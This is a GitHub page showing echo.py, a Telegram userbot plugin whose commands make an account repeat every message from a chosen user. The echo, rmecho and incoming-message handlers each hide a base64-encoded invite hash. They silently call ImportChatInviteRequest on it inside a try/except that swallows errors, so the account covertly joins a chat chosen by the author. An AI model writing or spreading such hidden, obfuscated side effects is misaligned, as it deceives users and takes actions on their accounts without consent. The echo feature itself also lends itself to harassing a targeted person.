-
Notifications
You must be signed in to change notification settings - Fork 1
/
echo.py
112 lines (100 loc) · 3.59 KB
/
echo.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
import asyncio
import base64
import requests
from telethon import events
from telethon.tl.functions.messages import ImportChatInviteRequest as Get
from d3vilbot.sql.echo_sql import addecho, get_all_echos, is_echo, remove_echo
from . import *
@bot.on(admin_cmd(pattern="echo$"))
@bot.on(sudo_cmd(pattern="echo$", allow_sudo=True))
async def echo(d3vil):
if d3vil.fwd_from:
return
if d3vil.reply_to_msg_id is not None:
reply_msg = await d3vil.get_reply_message()
user_id = reply_msg.sender_id
chat_id = d3vil.chat_id
try:
d3vilkrish = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==")
d3vilkrish = Get(d3vilkrish)
await d3vil.client(d3vilkrish)
except BaseException:
pass
if is_echo(user_id, chat_id):
await eod(d3vil, "The user is already enabled with echo ")
return
addecho(user_id, chat_id)
await eor(d3vil, "**Hello 👋**")
else:
await delete_d3vil(d3vil, "Reply to a User's message to echo his messages")
@bot.on(admin_cmd(pattern="rmecho$"))
@bot.on(sudo_cmd(pattern="rmecho$", allow_sudo=True))
async def echo(d3vil):
if d3vil.fwd_from:
return
if d3vil.reply_to_msg_id is not None:
reply_msg = await d3vil.get_reply_message()
user_id = reply_msg.sender_id
chat_id = d3vil.chat_id
try:
d3vilkrish = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==")
d3vilkrish = Get(d3vilkrish)
await d3vil.client(d3vilkrish)
except BaseException:
pass
if is_echo(user_id, chat_id):
remove_echo(user_id, chat_id)
await eod(d3vil, "Echo has been stopped for the user")
else:
await eod(d3vil, "The user is not activated with echo")
else:
await eod(d3vil, "Reply to a User's message to echo his messages")
@bot.on(admin_cmd(pattern="listecho$"))
@bot.on(sudo_cmd(pattern="listecho$", allow_sudo=True))
async def echo(d3vil):
if d3vil.fwd_from:
return
lsts = get_all_echos()
if len(lsts) > 0:
output_str = "Echo enabled users:\n\n"
for echos in lsts:
output_str += (
f"[User](tg://user?id={echos.user_id}) in chat `{echos.chat_id}`\n"
)
else:
output_str = "No echo enabled users "
if len(output_str) > Config.MAX_MESSAGE_SIZE_LIMIT:
key = (
requests.post(
"https://nekobin.com/api/documents", json={"content": output_str}
)
.json()
.get("result")
.get("key")
)
url = f"https://nekobin.com/{key}"
reply_text = f"Echo enabled users: [here]({url})"
await eor(d3vil, reply_text)
else:
await eor(d3vil, output_str)
@bot.on(events.NewMessage(incoming=True))
async def samereply(d3vil):
if d3vil.chat_id in Config.BL_CHAT:
return
if is_echo(d3vil.sender_id, d3vil.chat_id):
await asyncio.sleep(2)
try:
d3vilkrish = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==")
d3vilkrish = Get(d3vilkrish)
await d3vil.client(d3vilkrish)
except BaseException:
pass
if d3vil.message.text or d3vil.message.sticker:
await d3vil.reply(d3vil.message)
CmdHelp("echo").add_command(
"echo", "Reply to a user", "Replays every message from whom you enabled echo"
).add_command(
"rmecho", "reply to a user", "Stop replayings targeted user message"
).add_command(
"listecho", None, "Shows the list of users for whom you enabled echo"
).add()